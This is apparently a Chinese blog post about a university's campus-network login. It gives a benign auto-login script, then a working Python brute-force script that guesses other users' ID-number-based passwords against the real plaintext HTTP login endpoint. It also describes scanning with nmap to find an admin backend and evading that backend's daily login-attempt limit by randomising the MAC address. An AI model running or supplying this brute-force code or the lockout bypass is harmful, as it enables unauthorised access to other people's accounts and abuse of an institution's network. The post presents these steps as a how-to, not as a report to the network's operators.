自动登录?暴力破解?ARP渗透?
技术本无罪,善恶在人心
1. 校园网自动登录
每次电脑开机,WiFi就会自动连接校园网,但是还要进入登录页输入账号密码。有没有比较省事的方法呢,那当然是自己写一个自动登录。
打开登录页面,输好账号密码,按下F12,选择网络,点击登录按钮,就可以看到浏览器向10.51.2.20:80发送了一个GET请求。也就是说,只要发送这个请求,就能登录校园网了。这个请求有三个必要参数callback、DDDDD(用户名)和upass(密码),后面的都是环境信息,没什么影响。
Pyhton代码如下
import os
username = "admin" # 用户名
password = "passwd" # 密码
base_url = "http://10.51.2.20/drcom/login"
params = {
"callback": "dr1003",
"DDDDD": f"{username}@cmcc",
"upass": password,
}
url = base_url + "?" + "&".join([f"{key}={value}" for key, value in params.items()])
os.system(f"curl \"{url}\"")
代码非常简短,只有十几行。写好后保存,按住Win+R,打开运行,输入shell:startup,回车,进入启动文件夹,将程序放入即可开机联网自动登录。
代码写多了,Python文件有的时候是VScode打开,也可以用C写代码,写完后编译成exe文件
#include <windows.h>
int main()
{
system("curl \"http://10.51.2.20/drcom/login?callback=dr1003&DDDDD=admin%40cmcc&upass=passwd");
return 0;
}
2. 关于校园网安全性
密码的暴力破解
不难发现,这条请求是HTTP明文发送。浏览器也给出了警告。
最重要的是,校园网没有设置安全措施,比如说登陆次数过多强制等待、验证码等。这就可以用暴力方法破解密码,已知密码为身份证后六位,那么密码前两位即为日期01-31,后四位为随机数0000-9999,若不算身份证后带X的,总可能数为310000.经过测试与推算,大约全部试完需要28h.请求也不能发的太快,不然就成了DoS攻击了,服务器来不及处理请求。
Python代码如下
import requests
import re
import os
url = "http://10.0.100.2/drcom/login"
found_password = None
for first_two_digits in range(1, 32):
if found_password:
break
for last_four_digits in range(0, 10000):
upass = f"{first_two_digits:02}{last_four_digits:04}"
params = {
"callback": "dr1003",
"DDDDD": "admin",
"upass": upass
}
try:
response = requests.get(url, params=params)
result_match = re.search(r'"result":(\d+)', response.text)
if result_match:
result = int(result_match.group(1))
if result == 1:
found_password = upass
print(f"成功登录,密码为: {upass}")
break
else:
print(f"尝试密码: {upass},登录失败")
else:
print(f"无法解析响应:{response.text}")
except Exception as e:
print(f"发生异常")
os.system("pause")
后台管理系统
用nmap扫描一下登录的IP地址,很轻松就发现了后台管理端口。进去发现有登录次数限制,每天仅能试错五次。我想起校园网的IP地址是根据MAC用DHCP协议随机分配的,于是我勾选了使用随机MAC地址这个选项,断开网络重新连接,发现试错次数又变成5了……但密码的位数至少是六位,至少这个措施还是有点用的……